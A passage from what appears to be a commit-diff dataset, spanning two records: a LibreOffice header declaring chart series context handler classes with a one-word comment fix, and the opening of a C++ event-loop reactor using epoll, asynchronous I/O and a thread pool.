INCLUDED_OOX_DRAWINGML_CHART_SERIESCONTEXT_HXX\n#define INCLUDED_OOX_DRAWINGML_CHART_SERIESCONTEXT_HXX\n\n#include <drawingml\/chart\/chartcontextbase.hxx>\n\nnamespace oox {\nnamespace drawingml {\nnamespace chart {\n\n\n\nstruct DataLabelModel;\n\n\/** Handler for a chart data point label context (c:dLbl element).\n *\/\nclass DataLabelContext : public ContextBase< DataLabelModel >\n{\npublic:\n explicit DataLabelContext( ::oox::core::ContextHandler2Helper& rParent, DataLabelModel& rModel );\n virtual ~DataLabelContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct DataLabelsModel;\n\n\/** Handler for a chart data point label context (c:dLbl element).\n *\/\nclass DataLabelsContext : public ContextBase< DataLabelsModel >\n{\npublic:\n explicit DataLabelsContext( ::oox::core::ContextHandler2Helper& rParent, DataLabelsModel& rModel );\n virtual ~DataLabelsContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct PictureOptionsModel;\n\n\/** Handler for fill bitmap settings (c:pictureOptions element).\n *\/\nclass PictureOptionsContext : public ContextBase< PictureOptionsModel >\n{\npublic:\n explicit PictureOptionsContext( ::oox::core::ContextHandler2Helper& rParent, PictureOptionsModel& rModel );\n virtual ~PictureOptionsContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct ErrorBarModel;\n\n\/** Handler for a series error bar context (c:errBars element).\n *\/\nclass ErrorBarContext : public ContextBase< ErrorBarModel >\n{\npublic:\n explicit ErrorBarContext( ::oox::core::ContextHandler2Helper& rParent, ErrorBarModel& rModel );\n virtual ~ErrorBarContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct TrendlineLabelModel;\n\n\/** Handler for a series trendline label context (c:trendlineLbl element).\n *\/\nclass TrendlineLabelContext : public ContextBase< TrendlineLabelModel >\n{\npublic:\n explicit TrendlineLabelContext( ::oox::core::ContextHandler2Helper& rParent, TrendlineLabelModel& rModel );\n virtual ~TrendlineLabelContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct TrendlineModel;\n\n\/** Handler for a series trendline context (c:trendline element).\n *\/\nclass TrendlineContext : public ContextBase< TrendlineModel >\n{\npublic:\n explicit TrendlineContext( ::oox::core::ContextHandler2Helper& rParent, TrendlineModel& rModel );\n virtual ~TrendlineContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct DataPointModel;\n\n\/** Handler for a chart data point context (c:dPt element).\n *\/\nclass DataPointContext : public ContextBase< DataPointModel >\n{\npublic:\n explicit DataPointContext( ::oox::core::ContextHandler2Helper& rParent, DataPointModel& rModel );\n virtual ~DataPointContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct SeriesModel;\n\n\/** Handler base class for chart data series contexts (c:ser element).\n *\/\nclass SeriesContextBase : public ContextBase< SeriesModel >\n{\npublic:\n explicit SeriesContextBase( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~SeriesContextBase();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for area chart types (c:ser element).\n *\/\nclass AreaSeriesContext : public SeriesContextBase\n{\npublic:\n explicit AreaSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~AreaSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for bar chart types (c:ser element).\n *\/\nclass BarSeriesContext : public SeriesContextBase\n{\npublic:\n explicit BarSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~BarSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for bubble chart types (c:ser element).\n *\/\nclass BubbleSeriesContext : public SeriesContextBase\n{\npublic:\n explicit BubbleSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~BubbleSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for line and stock chart types (c:ser\n element).\n *\/\nclass LineSeriesContext : public SeriesContextBase\n{\npublic:\n explicit LineSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~LineSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for pie and doughnut chart types (c:ser\n element).\n *\/\nclass PieSeriesContext : public SeriesContextBase\n{\npublic:\n explicit PieSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~PieSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for radar chart types (c:ser element).\n *\/\nclass RadarSeriesContext : public SeriesContextBase\n{\npublic:\n explicit RadarSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~RadarSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for scatter chart types (c:ser element).\n *\/\nclass ScatterSeriesContext : public SeriesContextBase\n{\npublic:\n explicit ScatterSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~ScatterSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for scatter chart types (c:ser element).\n *\/\nclass SurfaceSeriesContext : public SeriesContextBase\n{\npublic:\n explicit SurfaceSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~SurfaceSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n} \/\/ namespace chart\n} \/\/ namespace drawingml\n} \/\/ namespace oox\n\n#endif\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Most certainly meant to be plural.<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#ifndef INCLUDED_OOX_DRAWINGML_CHART_SERIESCONTEXT_HXX\n#define INCLUDED_OOX_DRAWINGML_CHART_SERIESCONTEXT_HXX\n\n#include <drawingml\/chart\/chartcontextbase.hxx>\n\nnamespace oox {\nnamespace drawingml {\nnamespace chart {\n\n\n\nstruct DataLabelModel;\n\n\/** Handler for a chart data point label context (c:dLbl element).\n *\/\nclass DataLabelContext : public ContextBase< DataLabelModel >\n{\npublic:\n explicit DataLabelContext( ::oox::core::ContextHandler2Helper& rParent, DataLabelModel& rModel );\n virtual ~DataLabelContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct DataLabelsModel;\n\n\/** Handler for a chart data point label context (c:dLbls element).\n *\/\nclass DataLabelsContext : public ContextBase< DataLabelsModel >\n{\npublic:\n explicit DataLabelsContext( ::oox::core::ContextHandler2Helper& rParent, DataLabelsModel& rModel );\n virtual ~DataLabelsContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct PictureOptionsModel;\n\n\/** Handler for fill bitmap settings (c:pictureOptions element).\n *\/\nclass PictureOptionsContext : public ContextBase< PictureOptionsModel >\n{\npublic:\n explicit PictureOptionsContext( ::oox::core::ContextHandler2Helper& rParent, PictureOptionsModel& rModel );\n virtual ~PictureOptionsContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct ErrorBarModel;\n\n\/** Handler for a series error bar context (c:errBars element).\n *\/\nclass ErrorBarContext : public ContextBase< ErrorBarModel >\n{\npublic:\n explicit ErrorBarContext( ::oox::core::ContextHandler2Helper& rParent, ErrorBarModel& rModel );\n virtual ~ErrorBarContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct TrendlineLabelModel;\n\n\/** Handler for a series trendline label context (c:trendlineLbl element).\n *\/\nclass TrendlineLabelContext : public ContextBase< TrendlineLabelModel >\n{\npublic:\n explicit TrendlineLabelContext( ::oox::core::ContextHandler2Helper& rParent, TrendlineLabelModel& rModel );\n virtual ~TrendlineLabelContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct TrendlineModel;\n\n\/** Handler for a series trendline context (c:trendline element).\n *\/\nclass TrendlineContext : public ContextBase< TrendlineModel >\n{\npublic:\n explicit TrendlineContext( ::oox::core::ContextHandler2Helper& rParent, TrendlineModel& rModel );\n virtual ~TrendlineContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n virtual void onCharacters( const OUString& rChars ) SAL_OVERRIDE;\n};\n\n\n\nstruct DataPointModel;\n\n\/** Handler for a chart data point context (c:dPt element).\n *\/\nclass DataPointContext : public ContextBase< DataPointModel >\n{\npublic:\n explicit DataPointContext( ::oox::core::ContextHandler2Helper& rParent, DataPointModel& rModel );\n virtual ~DataPointContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\nstruct SeriesModel;\n\n\/** Handler base class for chart data series contexts (c:ser element).\n *\/\nclass SeriesContextBase : public ContextBase< SeriesModel >\n{\npublic:\n explicit SeriesContextBase( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~SeriesContextBase();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for area chart types (c:ser element).\n *\/\nclass AreaSeriesContext : public SeriesContextBase\n{\npublic:\n explicit AreaSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~AreaSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for bar chart types (c:ser element).\n *\/\nclass BarSeriesContext : public SeriesContextBase\n{\npublic:\n explicit BarSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~BarSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for bubble chart types (c:ser element).\n *\/\nclass BubbleSeriesContext : public SeriesContextBase\n{\npublic:\n explicit BubbleSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~BubbleSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for line and stock chart types (c:ser\n element).\n *\/\nclass LineSeriesContext : public SeriesContextBase\n{\npublic:\n explicit LineSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~LineSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for pie and doughnut chart types (c:ser\n element).\n *\/\nclass PieSeriesContext : public SeriesContextBase\n{\npublic:\n explicit PieSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~PieSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for radar chart types (c:ser element).\n *\/\nclass RadarSeriesContext : public SeriesContextBase\n{\npublic:\n explicit RadarSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~RadarSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for scatter chart types (c:ser element).\n *\/\nclass ScatterSeriesContext : public SeriesContextBase\n{\npublic:\n explicit ScatterSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~ScatterSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n\/** Handler for a data series context for scatter chart types (c:ser element).\n *\/\nclass SurfaceSeriesContext : public SeriesContextBase\n{\npublic:\n explicit SurfaceSeriesContext( ::oox::core::ContextHandler2Helper& rParent, SeriesModel& rModel );\n virtual ~SurfaceSeriesContext();\n\n virtual ::oox::core::ContextHandlerRef onCreateContext( sal_Int32 nElement, const AttributeList& rAttribs ) SAL_OVERRIDE;\n};\n\n\n\n} \/\/ namespace chart\n} \/\/ namespace drawingml\n} \/\/ namespace oox\n\n#endif\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * reactor.cc\n *\n * Created on: Aug 1, 2014\n * Author: avi\n *\/\n\n#include \"reactor.hh\"\n#include <cassert>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/eventfd.h>\n\ntimespec to_timespec(clock_type::time_point t) {\n using ns = std::chrono::nanoseconds;\n auto n = std::chrono::duration_cast<ns>(t.time_since_epoch()).count();\n return { n \/ 1'000'000'000, n % 1'000'000'000 };\n}\n\ntemplate <typename T>\nstruct syscall_result {\n T result;\n int error;\n void throw_if_error() {\n if (long(result) == -1) {\n throw std::system_error(error, std::system_category());\n }\n }\n};\n\ntemplate <typename T>\nsyscall_result<T>\nwrap_syscall(T result) {\n syscall_result<T> sr;\n sr.result = result;\n sr.error = errno;\n return sr;\n}\n\nreactor::reactor()\n : _epollfd(file_desc::epoll_create(EPOLL_CLOEXEC))\n , _io_eventfd()\n , _io_context(0)\n , _io_context_available(max_aio) {\n auto r = ::io_setup(max_aio, &_io_context);\n assert(r >= 0);\n _io_eventfd.wait().then([this] (size_t count) {\n process_io(count);\n });\n}\n\nfuture<> reactor::get_epoll_future(pollable_fd_state& pfd,\n promise<> pollable_fd_state::*pr, int event) {\n if (pfd.events_known & event) {\n pfd.events_known &= ~event;\n return make_ready_future();\n }\n pfd.events_requested |= event;\n if (!(pfd.events_epoll & event)) {\n auto ctl = pfd.events_epoll ? EPOLL_CTL_MOD : EPOLL_CTL_ADD;\n pfd.events_epoll |= event;\n ::epoll_event eevt;\n eevt.events = pfd.events_epoll;\n eevt.data.ptr = &pfd;\n int r = ::epoll_ctl(_epollfd.get(), ctl, pfd.fd.get(), &eevt);\n assert(r == 0);\n }\n pfd.*pr = promise<>();\n return (pfd.*pr).get_future();\n}\n\nfuture<> reactor::readable(pollable_fd_state& fd) {\n return get_epoll_future(fd, &pollable_fd_state::pollin, EPOLLIN);\n}\n\nfuture<> reactor::writeable(pollable_fd_state& fd) {\n return get_epoll_future(fd, &pollable_fd_state::pollout, EPOLLOUT);\n}\n\nvoid reactor::forget(pollable_fd_state& fd) {\n if (fd.events_epoll) {\n ::epoll_ctl(_epollfd.get(), EPOLL_CTL_DEL, fd.fd.get(), nullptr);\n }\n}\n\npollable_fd\nreactor::listen(socket_address sa, listen_options opts) {\n file_desc fd = file_desc::socket(sa.u.sa.sa_family, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0);\n if (opts.reuse_address) {\n int opt = 1;\n fd.setsockopt(SOL_SOCKET, SO_REUSEADDR, opt);\n }\n\n fd.bind(sa.u.sa, sizeof(sa.u.sas));\n fd.listen(100);\n return pollable_fd(std::move(fd));\n}\n\nvoid reactor::complete_epoll_event(pollable_fd_state& pfd, promise<> pollable_fd_state::*pr,\n int events, int event) {\n if (pfd.events_requested & events & event) {\n pfd.events_requested &= ~EPOLLIN;\n pfd.events_known &= ~EPOLLIN;\n (pfd.*pr).set_value();\n pfd.*pr = promise<>();\n }\n}\n\ntemplate <typename Func>\nfuture<io_event>\nreactor::submit_io(Func prepare_io) {\n return _io_context_available.wait(1).then([this, prepare_io = std::move(prepare_io)] () mutable {\n auto pr = std::make_unique<promise<io_event>>();\n iocb io;\n prepare_io(io);\n io.data = pr.get();\n io_set_eventfd(&io, _io_eventfd.get_write_fd());\n iocb* p = &io;\n auto r = ::io_submit(_io_context, 1, &p);\n throw_kernel_error(r);\n return pr.release()->get_future();\n });\n}\n\nvoid reactor::process_io(size_t count)\n{\n io_event ev[max_aio];\n auto n = ::io_getevents(_io_context, count, count, ev, NULL);\n assert(n >= 0 && size_t(n) == count);\n for (size_t i = 0; i < size_t(n); ++i) {\n auto pr = reinterpret_cast<promise<io_event>*>(ev[i].data);\n pr->set_value(ev[i]);\n delete pr;\n }\n _io_context_available.signal(n);\n _io_eventfd.wait().then([this] (size_t count) {\n process_io(count);\n });\n}\n\nfuture<size_t>\nreactor::write_dma(file& f, uint64_t pos, const void* buffer, size_t len) {\n return submit_io([&f, pos, buffer, len] (iocb& io) {\n io_prep_pwrite(&io, f._fd, const_cast<void*>(buffer), len, pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::write_dma(file& f, uint64_t pos, std::vector<iovec> iov) {\n return submit_io([&f, pos, iov = std::move(iov)] (iocb& io) {\n io_prep_pwritev(&io, f._fd, iov.data(), iov.size(), pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::read_dma(file& f, uint64_t pos, void* buffer, size_t len) {\n return submit_io([&f, pos, buffer, len] (iocb& io) {\n io_prep_pread(&io, f._fd, buffer, len, pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::read_dma(file& f, uint64_t pos, std::vector<iovec> iov) {\n return submit_io([&f, pos, iov = std::move(iov)] (iocb& io) {\n io_prep_preadv(&io, f._fd, iov.data(), iov.size(), pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<file>\nreactor::open_file_dma(sstring name) {\n return _thread_pool.submit<syscall_result<int>>([name] {\n return wrap_syscall<int>(::open(name.c_str(), O_DIRECT | O_CLOEXEC | O_CREAT | O_RDWR, S_IRWXU));\n }).then([] (syscall_result<int> sr) {\n sr.throw_if_error();\n return make_ready_future<file>(file(sr.result));\n });\n}\n\nfuture<>\nreactor::flush(file& f) {\n return _thread_pool.submit<syscall_result<int>>([&f] {\n return wrap_syscall<int>(::fsync(f._fd));\n }).then([] (syscall_result<int> sr) {\n sr.throw_if_error();\n return make_ready_future<>();\n });\n}\n\nvoid reactor::add_timer(timer* tmr) {\n if (_timers.insert(*tmr) && tmr->get_timeout() < _next_timeout) {\n itimerspec its;\n its.it_interval = {};\n its.it_value = to_timespec(_timers.get_next_timeout());\n _timerfd.get_file_desc().timerfd_settime(TFD_TIMER_ABSTIME, its);\n }\n}\n\nvoid reactor::del_timer(timer* tmr) {\n _timers.remove(*tmr);\n}\n\nvoid reactor::complete_timers() {\n _timerfd.read_some(reinterpret_cast<char*>(&_timers_completed), sizeof(_timers_completed)).then(\n [this] (size_t n) {\n _timers.expire(clock_type::now());\n while (auto t = _timers.pop_expired()) {\n t->_pr.set_value();\n t->_pr = promise<>();\n }\n if (!_timers.empty()) {\n _next_timeout = _timers.get_next_timeout();\n itimerspec its;\n its.it_interval = {};\n its.it_value = to_timespec(_next_timeout);\n _timerfd.get_file_desc().timerfd_settime(TFD_TIMER_ABSTIME, its);\n }\n complete_timers();\n });\n}\n\nvoid reactor::run() {\n std::vector<std::unique_ptr<task>> current_tasks;\n _start_promise.set_value();\n complete_timers();\n while (true) {\n while (!_pending_tasks.empty()) {\n std::swap(_pending_tasks, current_tasks);\n for (auto&& tsk : current_tasks) {\n tsk->run();\n tsk.reset();\n }\n current_tasks.clear();\n }\n std::array<epoll_event, 128> eevt;\n int nr = ::epoll_wait(_epollfd.get(), eevt.data(), eevt.size(), -1);\n assert(nr != -1);\n for (int i = 0; i < nr; ++i) {\n auto& evt = eevt[i];\n auto pfd = reinterpret_cast<pollable_fd_state*>(evt.data.ptr);\n auto events = evt.events & (EPOLLIN | EPOLLOUT);\n std::unique_ptr<task> t_in, t_out;\n pfd->events_known |= events;\n auto events_to_remove = events & ~pfd->events_requested;\n complete_epoll_event(*pfd, &pollable_fd_state::pollin, events, EPOLLIN);\n complete_epoll_event(*pfd, &pollable_fd_state::pollout, events, EPOLLOUT);\n if (events_to_remove) {\n pfd->events_epoll &= ~events_to_remove;\n evt.events = pfd->events_epoll;\n auto op = evt.events ? EPOLL_CTL_MOD : EPOLL_CTL_DEL;\n ::epoll_ctl(_epollfd.get(), op, pfd->fd.get(), &evt);\n }\n }\n }\n}\n\nthread_pool::thread_pool()\n : _pending(queue_length)\n , _completed(queue_length)\n , _start_eventfd(0)\n , _complete_eventfd(0)\n , _worker_thread([this] { work(); }) {\n _worker_thread.detach();\n complete();\n}\n\nvoid thread_pool::work() {\n while (true) {\n uint64_t count;\n auto r = ::read(_start_eventfd.get_read_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n auto nr = _pending.consume_all([this] (work_item* wi) {\n wi->process();\n _completed.push(wi);\n });\n count = nr;\n r = ::write(_complete_eventfd.get_write_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n }\n}\n\nvoid thread_pool::submit_item(thread_pool::work_item* item) {\n _queue_has_room.wait().then([this, item] {\n _pending.push(item);\n _start_eventfd.signal(1);\n });\n}\n\nvoid thread_pool::complete() {\n _complete_eventfd.wait().then([this] (size_t count) {\n auto nr = _completed.consume_all([this] (work_item* wi) {\n wi->complete();\n delete wi;\n });\n _queue_has_room.signal(nr);\n complete();\n });\n}\n\nfile_desc writeable_eventfd::try_create_eventfd(size_t initial) {\n assert(size_t(int(initial)) == initial);\n return file_desc::eventfd(initial, EFD_CLOEXEC);\n}\n\nvoid writeable_eventfd::signal(size_t count) {\n uint64_t c = count;\n auto r = _fd.write(&c, sizeof(c));\n assert(r == sizeof(c));\n}\n\nfile_desc readable_eventfd::try_create_eventfd(size_t initial) {\n assert(size_t(int(initial)) == initial);\n return file_desc::eventfd(initial, EFD_CLOEXEC | EFD_NONBLOCK);\n}\n\nfuture<size_t> readable_eventfd::wait() {\n return the_reactor.readable(*_fd._s).then([this] {\n uint64_t count;\n int r = ::read(_fd.get_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n return make_ready_future<size_t>(count);\n });\n}\n\nsocket_address make_ipv4_address(ipv4_addr addr) {\n socket_address sa;\n sa.u.in.sin_family = AF_INET;\n sa.u.in.sin_port = htons(addr.port);\n std::memcpy(&sa.u.in.sin_addr, addr.host, 4);\n return sa;\n}\n\nreactor the_reactor;\n<commit_msg>core: be more friendly to debuggers<commit_after>\/*\n * reactor.cc\n *\n * Created on: Aug 1, 2014\n * Author: avi\n *\/\n\n#include \"reactor.hh\"\n#include <cassert>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/eventfd.h>\n\ntimespec to_timespec(clock_type::time_point t) {\n using ns = std::chrono::nanoseconds;\n auto n = std::chrono::duration_cast<ns>(t.time_since_epoch()).count();\n return { n \/ 1'000'000'000, n % 1'000'000'000 };\n}\n\ntemplate <typename T>\nstruct syscall_result {\n T result;\n int error;\n void throw_if_error() {\n if (long(result) == -1) {\n throw std::system_error(error, std::system_category());\n }\n }\n};\n\ntemplate <typename T>\nsyscall_result<T>\nwrap_syscall(T result) {\n syscall_result<T> sr;\n sr.result = result;\n sr.error = errno;\n return sr;\n}\n\nreactor::reactor()\n : _epollfd(file_desc::epoll_create(EPOLL_CLOEXEC))\n , _io_eventfd()\n , _io_context(0)\n , _io_context_available(max_aio) {\n auto r = ::io_setup(max_aio, &_io_context);\n assert(r >= 0);\n _io_eventfd.wait().then([this] (size_t count) {\n process_io(count);\n });\n}\n\nfuture<> reactor::get_epoll_future(pollable_fd_state& pfd,\n promise<> pollable_fd_state::*pr, int event) {\n if (pfd.events_known & event) {\n pfd.events_known &= ~event;\n return make_ready_future();\n }\n pfd.events_requested |= event;\n if (!(pfd.events_epoll & event)) {\n auto ctl = pfd.events_epoll ? EPOLL_CTL_MOD : EPOLL_CTL_ADD;\n pfd.events_epoll |= event;\n ::epoll_event eevt;\n eevt.events = pfd.events_epoll;\n eevt.data.ptr = &pfd;\n int r = ::epoll_ctl(_epollfd.get(), ctl, pfd.fd.get(), &eevt);\n assert(r == 0);\n }\n pfd.*pr = promise<>();\n return (pfd.*pr).get_future();\n}\n\nfuture<> reactor::readable(pollable_fd_state& fd) {\n return get_epoll_future(fd, &pollable_fd_state::pollin, EPOLLIN);\n}\n\nfuture<> reactor::writeable(pollable_fd_state& fd) {\n return get_epoll_future(fd, &pollable_fd_state::pollout, EPOLLOUT);\n}\n\nvoid reactor::forget(pollable_fd_state& fd) {\n if (fd.events_epoll) {\n ::epoll_ctl(_epollfd.get(), EPOLL_CTL_DEL, fd.fd.get(), nullptr);\n }\n}\n\npollable_fd\nreactor::listen(socket_address sa, listen_options opts) {\n file_desc fd = file_desc::socket(sa.u.sa.sa_family, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0);\n if (opts.reuse_address) {\n int opt = 1;\n fd.setsockopt(SOL_SOCKET, SO_REUSEADDR, opt);\n }\n\n fd.bind(sa.u.sa, sizeof(sa.u.sas));\n fd.listen(100);\n return pollable_fd(std::move(fd));\n}\n\nvoid reactor::complete_epoll_event(pollable_fd_state& pfd, promise<> pollable_fd_state::*pr,\n int events, int event) {\n if (pfd.events_requested & events & event) {\n pfd.events_requested &= ~EPOLLIN;\n pfd.events_known &= ~EPOLLIN;\n (pfd.*pr).set_value();\n pfd.*pr = promise<>();\n }\n}\n\ntemplate <typename Func>\nfuture<io_event>\nreactor::submit_io(Func prepare_io) {\n return _io_context_available.wait(1).then([this, prepare_io = std::move(prepare_io)] () mutable {\n auto pr = std::make_unique<promise<io_event>>();\n iocb io;\n prepare_io(io);\n io.data = pr.get();\n io_set_eventfd(&io, _io_eventfd.get_write_fd());\n iocb* p = &io;\n auto r = ::io_submit(_io_context, 1, &p);\n throw_kernel_error(r);\n return pr.release()->get_future();\n });\n}\n\nvoid reactor::process_io(size_t count)\n{\n io_event ev[max_aio];\n auto n = ::io_getevents(_io_context, count, count, ev, NULL);\n assert(n >= 0 && size_t(n) == count);\n for (size_t i = 0; i < size_t(n); ++i) {\n auto pr = reinterpret_cast<promise<io_event>*>(ev[i].data);\n pr->set_value(ev[i]);\n delete pr;\n }\n _io_context_available.signal(n);\n _io_eventfd.wait().then([this] (size_t count) {\n process_io(count);\n });\n}\n\nfuture<size_t>\nreactor::write_dma(file& f, uint64_t pos, const void* buffer, size_t len) {\n return submit_io([&f, pos, buffer, len] (iocb& io) {\n 